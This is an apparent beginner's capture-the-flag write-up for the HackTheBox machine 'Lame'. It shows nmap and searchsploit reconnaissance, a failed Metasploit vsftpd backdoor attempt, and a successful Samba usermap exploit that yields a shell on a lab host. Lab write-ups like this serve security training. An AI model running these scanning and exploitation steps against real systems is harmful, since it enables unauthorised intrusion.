HTB Lame

04/04/2020 2-minute read

0x01 Introduction Link to heading

Walkthrough for Lame HackTheBox machine. This was my first ever HTB box. Therefore, the way I use tools can be a little bit strange or even wrong. However, I decided to keep this write-up as is, beucase I think it should show the progress of my development.

0x02 Tools Link to heading

nmap
metasploit
searchsploit

0x03 Recon and Enum Link to heading

Nmap Link to heading

As always, I started with nmap.

1nmap -T4 -Pn -p- -A 10.10.10.3

ports open:

21 (ftp) version: vsftpd 2.3.4
22 (ssh) version: OpenSSH 4.7p1
445 (smb) version: smbd 3.0.20

Let’s check if there are any vulnerabilities using scripts for nmap.

1ls /usr/share/nmap/scripts | grep ftp

1searchsploit vsftpd

Here we go. We have metasploit module for this vulnerability. We’ll try it later. Let’s check other ports.

1nmap --script ftp-vuln* -p 21 -A 10.10.10.3
2nmap --script smb-vuln* -p 445 -A 10.10.10.3

Nothing interesting here.

Samba Link to heading

1searchsploit samba 3.0

0x04 Exploitation Link to heading

msfconsole Link to heading

vsftpd Link to heading

1search vsftpd

1use 0
2options

1set rhosts 10.10.10.3
2exploit

Bad luck here:

smb Link to heading

1search usermap

1use 0

Set all the options and payloads:

1exploit

we got shell. 👍

Now we have to find root and user flags and that’s it.

1cat root/root.txt
2cat /home/makis/user.txt